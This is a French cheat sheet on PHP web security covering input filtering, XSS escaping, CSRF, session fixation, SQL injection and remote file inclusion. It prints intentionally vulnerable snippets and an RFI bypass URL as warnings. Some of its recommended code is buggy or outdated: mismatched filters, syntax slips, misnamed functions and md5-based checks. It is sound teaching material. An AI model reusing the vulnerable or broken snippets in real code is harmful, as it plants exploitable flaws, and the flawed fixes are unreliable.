Aide-mémoire minimal pour la sécurité en PHP

François Gannaz (francois.gannaz@silecs.info)

1 Généralités

1.1 Principes fondamentaux

- Evaluer le risque potentiel de l'application : diffusion, données sensibles...
- Ne jamais faire confiance au client : requêtes HTTP, Javascript...
- Ne pas dévoiler d'information pouvant aider une attaque : message d'erreur restreints
- Filtrer les données entrantes, autant que possible par *white-list* plutôt que par *black-list*
- Tenir des logs
- Sécurité en profondeur (redondante)
- Utiliser des méthodes reconnues plutôt que ses propres créations

1.2 Bonnes pratiques

- **Suivi de versions** : SVN, Mercurial, git, bazaar...
- **Documentation de code** : PHPdocumentor, Doxygen
- **Style de programmation** : PEAR, Zend...(CodeSniffer pour vérifier)
- **Séparer logique et présentation** : D'abord le code, puis l'affichage (avec template ?). Envisager les structures de type Modèle Vue Controlleur.
- **Déclarer et initialiser ses variables**

1.3 Gestion des erreurs

En production, affichage minimum mais log des erreurs. Capter aussi les exceptions.

```
define('DEBUG', true);
// ...
// Si php.ini est inadapté, on le corrige à la volée
if (DEBUG) {
  error_reporting(E_ALL | E_STRICT); // E_STRICT en PHP5
  ini_set('display_errors', 'On');
  ini_set('log_errors', 'Off');
} else {
  error_reporting(0);
  ini_set('display_errors', 'Off');
  ini_set('log_errors', 'On');
  ini_set('error_log', '/myapp/error_log');
}
```

Installer xdebug sur les serveurs de développement.

2 Validation et filtrage des entrées

- **Ne jamais faire confiance aux données étrangères !**
  Séparer les données "souillées" *(tainted)* des données propres.
- La seconde étape est le filtre/échappement en sortie.
- La validation javascript est une aide pour l'utilisateur, elle ne doit pas remplacer la validation sur le serveur.
- Sont concernées : `$_GET, $_POST, $_REQUEST, $_COOKIES, $_FILES, et $_SERVER (partiellement)`
  Exemple : `<form action="<?php echo $_SERVER['PHP_SELF']; ?>">` $\Longrightarrow$ XSS

2.1 Outils de validation

- Opérateur de comparaison, de taille (chaînes, tableaux), etc.
- *white-list* des valeurs autorisées : `isset($hash[$var]) ... in_array($var, $allowed)`
- Expression régulières : `preg_match('/.../', $var);`
- Extension ctype : `ctype_digit($var);`
- Fonctions is_* : `is_scalar($var);`
- l'extension **Filter** est recommandée. Intégrée à PHP $\geqslant$ 5.2, PEAR sinon.

```
$clean['param1'] = filter_input(INPUT_POST, 'param1', FILTER_VALIDATE_BOOLEAN);
$clean['email']  = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
```

3 Échappement des sorties

Une validation préalable est recommandée.
Permet d'éviter les attaques **XSS** (Cross-site scripting) : détournement de formulaires, modification de l'affichage, vols de cookies, de sessions, etc.
Attention : le jeu de caractère par défaut de PHP est le latin-1.

3.1 Sortie HTML

- **Protéger les caractères sensibles :** `htmlspecialchars($var);`
- **Protéger tous les caractères :** `htmlentities($var,...)` et `mb_htmlentities($var,...)`
  Le deuxième paramètre, `ENT_COMPAT|ENT_QUOTES|ENT_NOQUOTES` est parfois important.
- **Enlever les balises HTML :** `striptags($text);`
- **Encodage spécifique pour URL :** `urlencode($var);`
- **ext/Filter** peut non seulement valider mais aussi filtrer en sortie avec `FILTER_SANITIZE_*`

Attention au jeu de caractères, en particulier pour `htmlentities()` : problème d'affichage, voire de sécurité.
Pour les *charsets* multi-octets (comme UTF-8), `mb_htmlentities()` est plus fiable.

3.2 Sortie SQL

Voir section 5, Base de données.

3.3 Bibliothèques utiles

PHP-IDS Pour repérer les attaques sur son application. `http://php-ids.org/`

3.3.1 Template systems

Un choix représentatif parmi les très nombreuses bibliothèques :

Savant3 Très simple, à base de PHP. `http://phpsavant.com/`

Smarty Nouveau langage en sus de PHP, riche et complexe. `http://www.smarty.net/`

PHPtal Au format XML pur. Il produit du xHTML. `http://phptal.motion-twin.com/`

Remarques
- La plupart des frameworks PHP utilisent par défaut un template à base de PHP, type Savant3.
- Smarty est le plus ancien et standard. Il est pensé sur une séparation entre programmeurs et *designers*.
- PHPtal est un nouveau venu dans le monde PHP.

4 Formulaires

4.1 Problèmes courants

4.1.1 Comment s'assurer qu'un champ caché n'a pas été modifié ?

Envoyer en parallèle un hash contrôlant la valeur.

```
<?php $idhash = md5($id . SALT); ?>

<form action="edit.php" method="POST">
    <input type="hidden" name="id" value="<?php echo $id ?>" />
    <input type="hidden" name="idhash" value="<?php echo $idhash ?>" />
    <button type="submit">Valider</button>
</form>
```

Et à la réception :

```
$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);
$idhash = filter_input(INPUT_POST, 'idhash', FILTER_VALIDATE_INT, FILTER_FLAG_ALLOW_HEX);
if ($idhash !== md5($id . SALT) {
  die('Le formulaire est louche !');
}
```

4.1.2 Comment éviter qu'en rechargeant la page on relance une action ?

Plusieurs solutions :

1. Rediriger le navigateur pour changer l'URL, par exemple avec `header('Location: http://here.com'); exit();`
2. Activer une variable de session au premier passage. Mais quand la réinitialiser ?
3. Stocker dans une table un identifiant unique, créé avec `uniqid()`. (Session nécessaire)

4.1.3 Comment échapper aux CSRF (Cross-Site Request Forgery) ?

Mesures utiles mais insuffisantes :
– Eviter d'utiliser `$_GET` et `$_REQUEST` pour les actions "modifiantes"
– Mettre un timestamp (certifié par hash) pour expiration du formulaire.
Mesure efficace
– Mettre en parallèle une valeur cachée en POST et en session (cf `uniqid()`).
Ainsi seul celui qui a affiché le formulaire peut l'utiliser.

4.2 Upload de fichiers

Utiliser les fonctions PHP dédiées :

```
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename)) ...
if (move_uploaded_file($filename, $newFilename)) ...
```

4.3 Envoi de courriels

4.3.1 Manuellement

A priori, le destinataire est fixe ou fait partie d'une liste. Si ce n'est pas le cas, il faut le valider :

```
if (!filter_input(INPUT_POST, 'destinaire', 'FILTER_VALIDATE_EMAIL)) {
  // Demander de corriger l'adresse email
}
```

Pour éviter l'injection d'en-têtes, supprimer les retours à la ligne des champs d'en-tête :

```
$subject = false;
if (!empty($_POST['subject']) and strlen($_POST['subject']) < 100) {
  $subject = preg_replace('/\n|\r|\t|%0A|%0D|%08|%09/i', '', $_POST['subject']);
}
```

On peut éventuellement supprimer "Content-Type", "bcc :", "to :", "cc :" de la chaîne.

4.3.2 Via une bibliothèque

La fonction `mail()` de PHP est très limitée. Utiliser par exemple PHPmailer (`http://phpmailer.codeworxtech.com/`).

4.4 Bibliothèques utiles

Securimage CAPTCHA pour refuser les robots dans ses formulaires. `http://www.phpcaptcha.org/`

4.4.1 Formulaires en PHP pur

PEAR::HTML_QuickForm Le plus utilisé. `http://pear.php.net/package/HTML_QuickForm`
Nombreuses extensions et ressources. En cours de récriture (QuickForm2)

UltimateForm Moins connu, aussi complet. `http://download.geog.cam.ac.uk/projects/ultimateform/`

Les frameworks PHP ont leur propre système : Zend, Symfony, CakePHP...

5 Bases de données

5.1 Problèmes

Dans le code ci-dessous, 2 failles exploitables :

```
$content = $_POST['content'];
$id = $_POST['id'];
$mysqli->query("UPDATE comments "
             ."SET text='$content' WHERE id=$id");
```

5.2 Solutions

– Désactiver les *magic quotes* (php.ini, .htaccess)
– Filtrer les données (cf section 2)
– Puis utiliser les fonctions protectrices de l'API choisie :

```
$content = mysql_real_escape_string($_POST['content']);
$content = $mysqli->real_escape_string($_POST['content']);
$content = pg_escape_string($_POST['content']);
```

– Protéger spécifiquement les caractère "_" et "%" dans les requêtes LIKE

Variante :
Plutôt que `*_escape_string()`, utiliser les **requêtes préparées** (cf PDO ci dessous).

5.3 Bibliothèques utiles

sqlmap (`http://sqlmap.sourceforge.net/`) Attaque une application web à la recherche d'injections SQL.

5.3.1 Abstraction et ORM

Permet de migrer d'un moteur à l'autre, d'émuler les conctionnalités manquantes.
– **PDO** (PHP Data Objects) : Extension PEAR, intégrée à partir de PHP 5.1
Couche bas niveau, émule les fonctionnalités manquantes
– **AdoDB** : Plus haut niveau que PDO, API très riche
Utilisé dans de nombreux projets depuis 2000
– **Propel** : c'est un ORM (Object-Relational Mapping)
Performances plus faibles, mais meilleure intégration dans les frameworks

Exemple PDO :

```
$db = new PDO('mysql:host=localhost;dbname=testdb', $user, $password);
$req = $dbh->prepare("SELECT * FROM tickets WHERE id < ?");
if ($req->execute(array($id))) {
    $results = $req->fetchAll();
} else {
    die('Erreur dans la requête');
}
```

6 Sessions et cookies

Ne pas placer de données sensibles dans les cookies

Initialiser les sessions avec un code proche de celui-ci :

```
// désactiver les identifiants de sessions dans URL
ini_set('session.use_only_cookies', 1);
ini_set('session.use_trans_sid', 0);
session_start();

// session fixation
if (!isset($_SESSION['alreadyseen'])) {
  session_regenerate_id(true); // option PHP 5.1 pour effacer l'ancienne session
  $_SESSION['alreadyseen'] = true;
}

// session hijacking
$signature = md5($_SERVER['HTTP_USER_AGENT']
          .' et '. $_SERVER['HTTP_ACCEPT_CHARSET']);
if (!isset($_SESSION['signature'])) {
  $_SESSION['signature'] = $signature;
} elseif ($_SESSION['signature'] !== $signature) {
  die('Erreur de session');
}
```

7 Accès aux fichiers et inclusion de code PHP

– **Stocker les fichiers sensibles et les données hors du DocumentRoot**
– Eviter à tout prix les commandes du shell
– Eviter les extensions `.inc` et similaires, utiliser `.inc.php`
– Ne pas autoriser la navigation dans son arborescence :
  Apache (Option -Indexes) si autorisé, sinon créer "index.html" dans chaque répertoire
– Attention au portes dérobées, le contrôle d'accès doit se faire sur chaque page !

```
if (is_authorized(VIEW_INTERNAL)) {
  require 'include/secret.php'; // danger !
}
```

7.1 Remote File Inclusion

Code très dangereux :

```
include "{$_GET[path]}";
```

L'attaquant peut arriver à faire exécuter tout le code PHP qu'il souhaite sur le serveur.

Solutions : mauvaises idées
– Ajouter un préfixe : inefficace pour protéger les fichiers locaux
– Ajouter un suffixe ".php" : aisément contourné : `script.php?path=http://example.com/rfi.txt?`
– Utiliser `file_exists()` et consorts : ces fonctions acceptent les fichiers distants.

Solutions : bonnes idées
– Directives `php.ini` comme `allow_url_include` (PHP 5.2)
  Bien, mais insuffisant (cf `php://input`, `data://...`)
– Filtrer la variable :
  Bien, mais insuffisant, car difficile de gérer tous les cas (`http://fr2.php.net/manual/fr/wrappers.php`)
– Construire une *white-list* des fichiers autorisés
  Soit par un tableau fixe dans le code, soit par `glob()`

Les fonctions d'accès fichier (`readfile(), fopen(), ...`) souffrent du même problème.
Mais moins grave car sur les données et non sur le code PHP.

8 Authentification et autorisation

– Utiliser des rôles et des permissions (ACL)
– Vérifier souvent l'autorisation (au moins sur chaque page, sinon à chaque action)
– Utiliser des méthodes reconnues, éviter la créativité cryptographique.

La bibliothèque PHPGACL peut-être utile : `http://phpgacl.sourceforge.net/`

8.1 Authentification

– Toujours saler les mots de passe, avec un sel secret.
– Utiliser l'authentification Apache dans les cas simples
– Pour MySQL, faire attention au charset et à la collation (surtout pour le mot de passe)
– Utiliser des bibliothèques standard pour les API en LDAP, SSO, etc.

9 Environnement web

9.1 Apache

– **SSL** !
– Logs d'accès et d'erreurs (les développeurs devraient y avoir accès)

Configuration pour PHP
Avec `AllowOverride Options`, on peut forcer localement des valeurs de `php.ini` :

```
<Directory "/var/www/myapp">
    php_admin_flag directive_name on/off
    php_admin_value directive_name directive_value
</Directory>
```

Dans un fichier `.htaccess`, on peut utiliser `php_flag` et `php_value`, mais la valeur peut être modifiée par `ini_set()`.

9.2 MySQL

– Activer les logs binaires (si nécessaire)
– Activer le logs des requêtes lentes : `log_slow_queries = ...`
– Créer des comptes à permissions réduites
– Sauvegarder fréquemment (`cron` ou équivalent)
– Attention aux charsets serveur/client

9.3 php.ini

Safe mode	Propriétaire de fichier, pas d'exec système...Très limité, disparaît en PHP 6 `http://fr.php.net/features.safe-mode`
open_basedir	Restreint les accès fichiers à certains répertoires
allow_url_include	Pas d'inclusion de fichiers distants (PHP 5.2)
allow_url_fopen	Pas d'accès aux fichiers distants !
display_error	A mettre Off en production
magic_quotes_gpc	Off si possible, mais...
disable_functions	`eval()` est une bonne candidate
register_globals	...

10 Bibliographie

Essential PHP Security, Chris Shiflett. *O'Reilly*, 2005. 124 pages.
Beaucoup d'exemples (code PHP, HTML, requêtes HTTP).

php|architect's Guide to PHP Security, Illa Ashanetsky, *nanobooks*, 2005. 201 pages.
Complet quoiqu'un peu fouilli.

Pro PHP Security, Chris Snyder & Michael Southwell, *Apress*, 2005. 520 pages.
Administration et développement. Assez décevant.

11 En résumé

1. Désactiver register_globals !
2. Ne jamais faire confiance au client : valider et filtrer les entrées (regexp, ext/ctype, ext/filter).
3. Echapper les sorties HTML : htmlspecialchars, htmlentities, strip_tags.
   HTML purifier besoin de saisie en HTML.
   Attention au jeu de caractères.
4. Echapper les sorties SQL avec les fonctions de l'API choisie. Désactiver les magic quotes. Requêtes préparées ?
5. Afficher toutes les erreurs en développement, les masquer en production mais en tenant des logs.
6. Protéger soigneusement ses sessions (*fixation* et *hijacking*)
7. Coder proprement, en déclarant et initialisant ses variables.

La dernière version de ce document est disponible en ligne :
`http://silecs.info/formations/PHP-Securite/`